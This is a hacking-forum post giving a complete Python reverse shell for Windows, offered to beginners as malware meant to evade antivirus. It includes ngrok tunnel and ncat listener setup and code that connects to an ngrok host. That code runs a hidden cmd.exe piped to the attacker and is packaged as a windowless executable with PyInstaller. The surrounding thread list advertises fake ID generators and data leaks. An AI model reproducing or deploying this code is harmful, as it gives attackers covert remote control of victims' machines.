Temporary Advertisements:
Ad
Ad
Ad
Super basic reverseshell (Not LAN)
by HALLOICHBINSOSA - Tuesday October 1, 2024 at 11:23 PM
#1
A few days ago, I was working on a basic reverse shell, but why basic? This way, antivirus programs won’t detect it as easily. It runs in the background, opens a command prompt on the attacker's machine, but it doesn’t have persistence. It's interesting for beginners in the hacking world who want to learn about malware. It also contains some junk code.
  1. Download ngrok to create a secure tunnel. Once you have ngrok downloaded, run this command:
    "ngrok tcp 65001",  After creating an account on ngrok and obtaining an authentication token, you need to run the following command to set your key in ngrok:
  2. ngrok authtoken YOUR_AUTH_TOKEN 
    .
    After that, ngrok will give you a port, and you'll need to put that port into your reverse shell code.
  3. Then, open another command prompt and run the following command:
    "ncat -lvnp 65001"
    This will make your machine listen for incoming requests from the victim's machine.
import os
import socket
import sys
import threading as trd
import subprocess as sb
def My_function():
    number = 1
    if number == 1:
        print("El número sí es igual yeyyyyyyyy")
    else:
        print("No lo es Sad")
def nofalteelrespo(s, p):
    print("Iniciando transferencia de socket a proceso...")
    while True:
        data = s.recv(1024)
        if not data:
            break
        print(f"Recibido desde socket: {data}")
        p.stdin.write(data.decode())
        p.stdin.flush()
    print("Finalizando transferencia de socket a proceso.")
def elunicoquemaltrata(s, p):
    print("Iniciando transferencia de proceso a socket...")
    while True:
        output = p.stdout.read(1)
        if not output:
            break  
        print(f"Enviando a socket: {output}")
        s.send(output.encode())  
    print("Finalizando transferencia de proceso a socket.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
     s.connect(("0.tcp.sa.ngrok.io", 12839 )) #here replace the port that ngrok provided u 
     print("Conexión establecida.")
except Exception as e:
    print(f"Error al conectar: {e}")
    sys.exit(1)
startupinfo = sb.STARTUPINFO()
startupinfo.dwFlags |= sb.STARTF_USESHOWWINDOW
p = sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.STDOUT, stdin=sb.PIPE, shell=True, text=True, startupinfo=startupinfo, creationflags=sb.CREATE_NO_WINDOW)
trd.Thread(target=nofalteelrespo, args=(s, p), daemon=True).start()
trd.Thread(target=elunicoquemaltrata, args=(s, p), daemon=True).start()
try:
    p.wait()
except Exception as e:
    print(f"Error en el proceso: {e}")
finally:
    s.close()
    sys.exit(0)



4.Finally, you need to run the following commands to build an executable for your reverse shell:  pip install pyinstaller
and pyinstaller --noconsole --onefile your_script.py

  1. Install PyInstaller by running:
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  ⭐ ULTIMATE OPSEC GUIDE USED BY ISRAELI & CHINESE HACKER ⭐ Jimbo 3,677 258,147 17 minutes ago
Last Post: RaZzAI
  DOWNLOAD ANY EBOOK ON THIS PLANET FOR FREE (LATEST) Z-LBRARY ALTERNATIVE CyboDevil 207 16,571 45 minutes ago
Last Post: pxadix
  Fake ID Generator Piplup 694 59,740 1 hour ago
Last Post: ad3tak
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,353 254,461 1 hour ago
Last Post: supreme_leader
  INSTAGRAM FOLLOWERS METHOD (UNLIMITED) HackingRealm 1,185 90,610 1 hour ago
Last Post: malhojjg6

Forum Jump:


 Users browsing this forum: